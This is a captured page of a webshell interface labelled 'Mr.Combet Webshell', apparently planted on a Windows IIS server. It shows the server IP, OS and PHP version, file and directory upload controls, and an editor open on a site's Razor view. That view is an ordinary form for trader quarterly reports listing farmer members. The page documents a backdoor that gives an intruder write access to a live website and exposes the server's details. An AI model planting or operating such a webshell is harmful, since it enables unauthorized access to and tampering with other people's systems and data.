Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
Trader
/
Edit File Name :
EditQuadrimesterReport.cshtml
@model RER_Project.DataAccess.ViewModels.TraderVM.TraderQuadrimesterVM @{ ViewBag.Title = "Edit Trader Quadrimester Report"; var t = Model.TraderQuadrimester; } <div id="pop-up-div" class="modal fade" role="dialog"> </div> <div class=" wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <label style="font-size: medium"><b>Trader Quadrimester - Edit</b></label> <hr /> <form id="TraderQuadrimester"> <div class="row"> <input type="hidden" name="Id" value="@t.Id" /> <input type="hidden" name="TraderId" value="@t.TraderId" /> <input type="hidden" name="GroupId" value="@t.GroupId" /> <input type="hidden" name="FiscalYearId" value="@t.FiscalYearId" /> <input type="hidden" name="QuadrimesterYearId" value="@t.QuadrimesterYearId" /> <input type="hidden" name="CommodityId" value="@t.CommodityId" /> <div class="col-md-3"> <label><strong>Fiscal Year</strong></label> <select type="text" class="form-control" name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year_unlocked/select" data-api-selected-value="@t.FiscalYearId" disabled></select> </div> <div class="col-md-3"> <label><strong>Quadrimester</strong></label> <select type="text" class="form-control required clear" name="QuadrimesterYearId" id="QuadrimesterYearId" data-api="/quadtrimester/id/select" data-api-selected-value="@t.QuadrimesterYearId" disabled></select> </div> <div class="form-group col-md-3"> <label><strong>Purchase Quantity</strong></label> <input class="form-control clear required" type="text" pattern="\d*" oninput="validity.valid||(value='');" id="PurchaseQuantity" name="PurchaseQuantity" value="@t.PurchaseQuantity" /> </div> <div class="col-md-3"> <label><strong>Group Name</strong></label> <input type="text" class="form-control required clear" name="GroupName" id="GroupName" value="@Model.GroupName" /> </div> </div> <div class="row"> <div class="form-group col-md-3"> <label>Commodity</label> <select type="text" class="form-control clear" name="CommodityId" id="CommodityId" data-api="/commodity/select" data-api-selected-value="@t.CommodityId" disabled></select> </div> <div class="form-group col-md-3"> <label><strong>No Of Farmers</strong></label> <input class="form-control clear" type="text" pattern="\d*" oninput="validity.valid||(value='');" id="NoOfFarmers" name="NoOfFarmers" readonly="true" value="@t.NoOfFarmers" /> </div> <div class="form-group col-md-3"> <label><strong>Amount</strong></label> <div class="inputWithIcon"> <input class="form-control required clear" type="text" pattern="\d*" oninput="validity.valid||(value='');" id="Amount" name="Amount" value="@t.Amount" /> <span><strong>Rs</strong></span> </div> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label style="font-size: medium"><b><u>Purchase From Groups</u></b></label> <div class="row"> <div class="form-group col-md-6"> <label><strong>Total Quantity</strong></label> <input class="form-control clear" type="text" pattern="\d*" oninput="validity.valid||(value='');" id="ReferenceQuantity" name="ReferenceQuantity" value="@t.ReferenceQuantity" readonly /> </div> <div class="form-group col-md-6"> <label><strong>Total Amount</strong></label> <div class="inputWithIcon"> <input class="form-control clear" type="text" pattern="\d*" oninput="validity.valid||(value='');" id="ReferenceAmount" name="ReferenceAmount" value="@t.ReferenceAmount" readonly /> <span><strong>Rs</strong></span> </div> </div> </div> </div> <div class="form-group col-md-6"> <label style="font-size: medium"><b><u>Total Sales From Trader</u></b></label> <div class="row"> <div class="form-group col-md-6"> <label><strong>Total Quantity</strong></label> <input class="form-control required clear" type="text" pattern="\d*" oninput="validity.valid||(value='');" id="TotalQuantity" name="TotalQuantity" value="@t.TotalQuantity" /> </div> <div class="form-group col-md-6"> <label><strong>Total Amount</strong></label> <div class="inputWithIcon"> <input class="form-control required clear" type="text" pattern="\d*" oninput="validity.valid||(value='');" id="TotalAmount" name="TotalAmount" value="@t.TotalAmount" /> <span><strong>Rs</strong></span> </div> </div> </div> </div> </div> </form> <form id="farmers"> <div class="row"> <div class="form-group col-md-12"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="tblPMember" name="tblPMember"> <thead> <tr> <th>Group</th> <th>Member Name </th> <th>Age</th> <th>Ethnicity</th> <th>Gender</th> <th>Contact</th> <th>Origin</th> <th></th> <th></th> <th></th> <th>Action</th> </tr> </thead> <tbody> @foreach (var item in Model.TraderMemberLists) { <tr> <td><input type="hidden" name="GroupId" value="@item.GroupId" />@item.GroupName</td> <td><input type="hidden" name="MemberId" value="@item.MemberId" />@String.Concat(item.FirstName, ' ', item.LastName)</td> <td>@item.Age</td> <td>@item.Ethnicity</td> <td>@item.Gender</td> <td>@item.ContactNo</td> <td>@item.Origin</td> <td><input type="hidden" name="TotalSales" value="@item.TotalSales"></td> <td><input type="hidden" name="TotalAmount" value="@item.TotalAmount"></td> <td></td> <td><a class="btn btn-default btn-xs" onclick="deleteRow(this)" title="Delete" style="color:red"><i class="fa fa-remove"></i></a></td> </tr> } </tbody> </table> </div> </div> </div> </form> <div class="row"> <div class="pull-right"> <button class="btn btn-primary" id="save">Save</button> <a href="/trader/quadrimester/view/@t.TraderId/@t.FiscalYearId/@t.QuadrimesterYearId" class="btn btn-primary" id="save">Back</a> </div> </div> </div> </div> </div> </div> </div> <script src="~/Scripts/jquery.min.js"></script> <link rel="stylesheet" href="//code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css"> <script src="//code.jquery.com/jquery-1.10.2.js"></script> <script src="//code.jquery.com/ui/1.11.4/jquery-ui.js"></script> <script> $(document).ready(function () { window.initializeSelectApis(); $("#save").off("click").on("click", function () { const model = getModel(); $.validator.unobtrusive.parse(getForm()); if (!getForm().valid()) { return false; }; const ajax = request(model); function request(model) { const url = "/trader/quadrimester"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } WorkForce.loader.show(); ajax.done(function (response) { WorkForce.loader.hide(); clearAll(); showNotification("success"); window.location = "/trader/quadrimester/view/@t.TraderId/@t.FiscalYearId/@t.QuadrimesterYearId"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) function getModel() { const form = $("#TraderQuadrimester"); const model = window.serializeForm(form); return ({ TraderQuadrimester: model, memberId: getListOfFarmers() }); } $("#GroupName").autocomplete({ source: function(request,response) { $.ajax({ url: "/groups/autocomplete", type: "POST", dataType: "json", data: { name: request.term }, success: function (data) { response($.map(data, function (item) { return { label: item.GroupName, value: item.GroupName, key: item.Id }; })) } }) }, select: function (event, ui) { $('input[name=GroupId]').val(ui.item.key); showMembers(); return true; } }); }) function showMembers() { var fy = $("#FiscalYearId").val(); // if (fy == "") { // ShowMessage("error", "Please Select Fiscal Year"); // $('input[name=GroupId]').val(""); // return; //} var quad = $("#QuadrimesterYearId option:selected").text(); //var quad = $("#QuadrimesterYearId").val(); //if (quad == "" || quad == "Select") { // ShowMessage("error", "Please Select Quadrimester Year"); // $('input[name=GroupId]').val(""); // return; //} //var group = $('#GroupId option:selected').val(); var group = $('input[name=GroupId]').val(); getCommodity(group); AjaxForm.popup("/trader/group/memberList?groupId=" + group + "&fy=" + fy + "&quad=" + quad +"&traderId="+@t.TraderId); } function addPMember(l) { var table = $("#tblPMember tbody"); var b = l; for (var i = 0; i < b.length; i++) { if (b[i].value !== "") { var sp = b[i]; var row = "<tr>"; row += "<td>" + sp[0] + "</td>"; row += "<td>" + sp[1] + "</td>"; row += "<td>" + sp[2] + "</td>"; row += "<td>" + sp[3] + "</td>"; row += "<td>" + sp[4] + "</td>"; row += "<td>" + sp[5] + "</td>"; row += "<td>" + sp[6] + "</td>"; row += "<td>" + sp[7] + "</td>"; row += "<td>" + sp[8] + "</td>"; row += "<td>" + sp[9] + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td></tr>" table.append(row); } } getTotalFarmers(); $("#ReferenceQuantity").val(getValues(7)); $("#ReferenceAmount").val(getValues(8)); // $("#CommodityId").val(getCommodity(9)); }; function clearAll() { $(".clear").val(''); $("#tblPMember > tbody").empty(); }; function deleteRow(e) { debugger $(e).closest("tr").remove(); getTotalFarmers(); $("#ReferenceQuantity").val(getValues(7)); $("#ReferenceAmount").val(getValues(8)); }; function getValues(value) { var sum = 0; $("#tblPMember tbody tr").each(function () { sum += parseInt($(this).find("td:eq(" + value + ")").find("input[type='hidden']").val()); }) debugger return sum; }; function getTotalFarmers() { var totalFarmers = $("#tblPMember tbody tr").length; $("#NoOfFarmers").val(totalFarmers); getListOfFarmers(); } function getListOfFarmers() { var farmerList = []; $("#tblPMember tbody tr").each(function () { farmerList.push( $(this).find("td:eq(1)").find("input[type='hidden']").val() ); }) return farmerList; } function getForm() { return $("#TraderQuadrimester"); } function getCommodity(id) { const ajx = window.getAjaxRequest("/commodity/by/groupId/" + id, "GET", ""); ajx.done(function (response) { $("#CommodityId").val(response); $("input[name=CommodityId]").val(response); }); ajx.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } </script>
Save